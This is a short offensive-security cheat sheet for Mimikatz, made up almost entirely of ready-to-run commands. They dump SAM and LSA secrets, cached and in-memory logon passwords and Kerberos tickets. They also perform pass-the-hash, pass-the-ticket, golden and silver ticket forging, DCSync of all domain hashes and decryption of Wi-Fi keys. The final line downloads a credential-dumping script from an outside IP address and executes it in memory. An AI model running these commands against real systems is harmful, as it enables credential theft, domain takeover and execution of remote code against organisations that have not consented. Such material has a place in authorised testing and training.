Mimikatz

# Latest release
https://github.com/gentilkiwi/mimikatz/releases

# Binaries location
ls /usr/share/windows-resources/mimikatz/

# Win32
/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe

# x64
/usr/share/windows-resources/mimikatz/x64/mimikatz.exe

# Empire's version (most maintained)
https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1

wmic os get osarchitecture

[Environment]::Is64BitOperatingSystem

echo %PROCESSOR_ARCHITECTURE%

mimikatz.exe
privilege::debug

lsadump::sam

sekurlsa::logonpasswords

lsadump::cache

lsadump::secrets

sekurlsa::tickets /export

sekurlsa::pth /user:Administrator /domain:target.local /ntlm:<hash>

kerberos::ptt <ticket.kirbi>

klist

kerberos::golden /user:Administrator /domain:target.local /sid:<domain-SID> /krbtgt:<ntlm-hash> /ptt

whoami /user

Get-DomainSID

kerberos::golden /user:Administrator /domain:target.local /sid:<domain-SID> /target:<server> /service:<service> /rc4:<ntlm-hash> /ptt

lsadump::dcsync /domain:target.local /user:Administrator

lsadump::dcsync /domain:target.local /all /csv

token::elevate
token::elevate /domainadmin

dpapi::wifi /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{GUID}\{PROFILE}.xml" /unprotect

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt

IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds